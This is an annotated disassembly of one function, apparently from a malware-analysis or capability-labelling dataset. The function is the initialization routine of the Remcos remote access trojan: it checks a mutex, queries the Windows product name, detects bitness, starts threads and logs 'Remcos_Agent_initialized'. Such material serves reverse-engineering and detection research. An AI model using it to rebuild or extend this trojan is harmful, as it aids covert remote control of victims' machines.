Function at 0x408ffa
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [ebp + 8]
lea ecx, [esp - 0xc8]
sub esp, 0xfc
mov dword [0x462c9c], eax
push ebx
push esi
push edi
call fcn.004093cc
sub esp, 0x18
mov ecx, esp
push 0x4632f8
call fcn.00402206
sub esp, 0x18
lea eax, [esp + 0x70]
mov ecx, esp
push eax
call fcn.00402206
lea ecx, [esp + 0x58]
call fcn.00411ac0
add esp, 0x30
push eax
call fcn.004098db
lea ecx, [esp + 0x28]
call fcn.00403531
mov ecx, dword [ebp + 0x10]
cmp byte [ecx], 0x2d
jne 0x4090c3
cmp byte [ecx + 1], 0x6c
jne 0x4090c3
movzx eax, byte [ecx + 2]
test al, al
jne 0x4090c3
push ecx
push ecx
push 2
push str.license_code.txt
lea ecx, [esp + 0x68]
call fcn.00409996
push 0x34
mov ecx, 0x46319c
call fcn.00403506
mov ecx, eax
call fcn.0040204e
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.0040ad1f
lea ecx, [esp + 0x58]
call fcn.00409947
lea ecx, [esp + 0x58]
call fcn.004093b9
lea ecx, [esp + 0x40]
call fcn.004020b7
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov ebx, 0x46319c
push 3
mov ecx, ebx
call fcn.00403506
push str._nF2
push 0xe
mov ecx, ebx
call fcn.00403506
push eax
mov edx, str.Software_
lea ecx, [esp + 0x14]
call fcn.00402ab7
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.00405c20
pop ecx
push eax
mov ecx, 0x463280
call fcn.004020c1
lea ecx, [esp + 0x28]
call fcn.004020b7
lea ecx, [esp + 0xc]
call fcn.004020b7
push 0x456cdc
mov ecx, 0x463328
call fcn.00403f5a
push 0xe
mov ecx, ebx
call fcn.00403506
mov esi, 0x4632b0
push eax
mov ecx, esi
call fcn.0040209d
mov ecx, esi
call fcn.0040204e
push eax
push 1
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4090ae
call fcn.00409480
push 0x104
push 0x462a78
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call fcn.00411b8e
push ecx
push str.ProductName
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov edx, closesocket
mov byte [0x462e08], al
lea ecx, [esp + 0x18]
call fcn.0040bf02
add esp, 0xc
mov esi, 0x463310
mov ecx, esi
push eax
call fcn.004020c1
lea ecx, [esp + 0xc]
call fcn.004020b7
cmp byte [0x462e08], 0
mov ecx, esi
je 0x4091c5
push str.__64_bit_
jmp 0x4091ca
push str.__32_bit_
call fcn.00402caf
mov eax, dword [0x462c98]
test eax, eax
je 0x4091df
call eax
mov dword [0x4619b0], eax
push 0xb
mov ecx, ebx
call fcn.00403506
mov ecx, eax
call fcn.0040204e
push eax
mov ecx, 0x463250
call fcn.00409932
push 4
mov ecx, ebx
call fcn.00403506
push 5
mov ecx, ebx
call fcn.00403506
push 8
mov ecx, ebx
call fcn.00403506
push 3
mov ecx, ebx
call fcn.00403506
mov ecx, eax
call fcn.0040204e
cmp byte [eax], 0
je 0x409291
push 0x30
mov ecx, ebx
call fcn.00403506
mov ecx, eax
call fcn.0040204e
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x40923d
sub eax, edx
sar eax, 1
je 0x409291
push 9
mov ecx, ebx
call fcn.00403506
mov ecx, eax
call fcn.0040204e
push 0x30
mov ecx, ebx
mov esi, eax
call fcn.00403506
mov ecx, eax
call fcn.0040204e
mov dl, byte [esi]
lea ecx, [esp + 0xc]
push eax
call fcn.00412413
pop ecx
push eax
mov ecx, 0x463298
call fcn.004056a0
lea ecx, [esp + 0xc]
call fcn.00403536
push 1
push 0x34
mov ecx, ebx
call fcn.00403506
mov ecx, eax
call fcn.0040204e
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0040219e
push str.licence
mov ecx, 0x463280
call fcn.0040204e
mov edx, eax
call fcn.0040c056
add esp, 0x20
mov ecx, ebx
push 0x28
call fcn.00403506
mov ecx, eax
call fcn.0040204e
push eax
call fcn.00430eac
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
mov byte [0x462c80], al
pop ecx
cmp al, 2
jne 0x4092f1
mov cl, 1
jmp 0x4092f7
cmp al, 1
jne 0x409308
xor cl, cl
call fcn.00412ff8
push edi
push edi
push edi
push 0x412dc7
push edi
push edi
call esi
sub esp, 0x18
mov ecx, esp
push str.Remcos_Agent_initialized
call fcn.0040219e
sub esp, 0x18
mov ebx, 0x4563a4
mov ecx, esp
push ebx
call fcn.0040219e
call fcn.004113b1
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.004114ce
push eax
mov ecx, 0x4632e0
call fcn.004056a0
lea ecx, [esp + 0xc]
call fcn.00403536
mov eax, dword [0x462c8c]
test eax, eax
je 0x409358
push edi
call eax
push edi
push edi
push edi
push 0x4095b6
push edi
push edi
call esi
mov eax, dword [0x4619b0]
sub eax, edi
je 0x409379
sub eax, 1
jne 0x4093b3
push str.Administrator
jmp 0x40937e
push str.User
lea ecx, [esp + 0x10]
call fcn.0040219e
sub esp, 0x18
mov edx, str.Access_Level:
mov ecx, esp
push eax
call fcn.00402a93
sub esp, 0x14
mov ecx, esp
push ebx
call fcn.0040219e
call fcn.004113b1
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.004020b7
call fcn.0040ce75
int3